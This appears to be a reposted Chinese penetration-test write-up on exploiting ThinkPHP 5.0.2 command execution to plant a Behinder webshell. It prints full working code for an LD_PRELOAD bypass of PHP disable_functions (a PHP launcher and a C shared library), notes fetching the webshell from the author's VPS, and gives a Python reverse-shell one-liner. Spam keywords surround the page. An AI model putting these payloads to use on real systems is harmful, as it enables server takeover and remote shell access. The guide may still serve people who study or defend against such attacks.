91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何解決ThinkPHP引發的bypass_disable_functions

發布時間:2021-10-18 11:02:29 來源:億速云 閱讀:421 作者:柒染 欄目:網絡安全

本篇文章給大家分享的是有關如何解決ThinkPHP引發的bypass_disable_functions,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

一次授權測試中,發現網站是ThinkPHP 5.0.2搭建的

如何解決ThinkPHP引發的bypass_disable_functions

漏洞存在ThinkPHP 5.0.2 命令執行

如何解決ThinkPHP引發的bypass_disable_functions

嘗試寫入冰蝎3.0的馬

如何解決ThinkPHP引發的bypass_disable_functions

汰,寫入報錯發現是&的問題。將&url編碼。再次嘗試

如何解決ThinkPHP引發的bypass_disable_functions

鏈接失敗。

經過本地嘗試,發現是+的問題,再寫入后,將+變為了空格。將其url編碼,再次寫入

鏈接發現失敗,繼續肝。

如何解決ThinkPHP引發的bypass_disable_functions

除了寫入,還可以使用PHP中的copy函數,在vps上開啟服務,將vps的馬子,直接下載至目標服務器

如何解決ThinkPHP引發的bypass_disable_functions

鏈接成功,接下來肯定是whoami一下。

如何解決ThinkPHP引發的bypass_disable_functions

查看disable_functions,發現是可愛的寶塔禁用了passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru

還有啥是寶塔不能禁的。。。還能怎么辦,接著肝,在網上學習了大佬的帖子

https://www.meetsec.cn/index.php/archives/44/

嘗試利用LD_PRELOAD繞過disable_functions

直接上代碼

bypass_disablefunc.php

<?php

echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];

$out_path = $_GET["outpath"];

$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";

echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];

putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);

?>

bypass_disablefunc.c

#define _GNU_SOURCE

#include stdlib.h

#include stdio.h

#include string.h

extern char environ;

__attribute__ ((__constructor__)) void preload (void)

{

get command line options and arg

const char cmdline = getenv(EVIL_CMDLINE);

unset environment variable LD_PRELOAD.

unsetenv(LD_PRELOAD) no effect on some

distribution (e.g., centos), I need crafty trick.

int i;

for (i = 0; environ[i]; ++i) {

if (strstr(environ[i], LD_PRELOAD)) {

environ[i][0] = '0';

}

}

executive command

system(cmdline);

}

用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so 將 bypass_disablefunc.c 編譯為共享對象 bypass_disablefunc_x64.so:

要根據目標架構編譯成不同版本,在 x64 的環境中編譯,若不帶編譯選項則默認為 x64,若要編譯成 x86 架構需要加上 -m32 選項。

通過冰蝎上傳,然后測試效果:

如何解決ThinkPHP引發的bypass_disable_functions

命令執行成功。Nc反彈shell

如何解決ThinkPHP引發的bypass_disable_functions

提示沒有-e的參數,直接使用python反彈

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

如何解決ThinkPHP引發的bypass_disable_functions

反彈成功

總結:這次的測試,寫入冰蝎的過程要注意編碼問題。然后就是利用LD_PRELOAD繞過disable_functions

以上就是如何解決ThinkPHP引發的bypass_disable_functions,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

栾川县| 普兰县| 黄陵县| 陆川县| 宁强县| 福泉市| 盐源县| 会东县| 天门市| 遂昌县| 余干县| 沙雅县| 大同县| 舒兰市| 洪洞县| 桃源县| 治多县| 轮台县| 普兰县| 武陟县| 开远市| 常宁市| 武川县| 黎川县| 山东省| 浏阳市| 吴江市| 辽源市| 隆尧县| 和静县| 偏关县| 甘南县| 鸡东县| 凌海市| 合川市| 明水县| 监利县| 柯坪县| 林芝县| 凉山| 滨州市|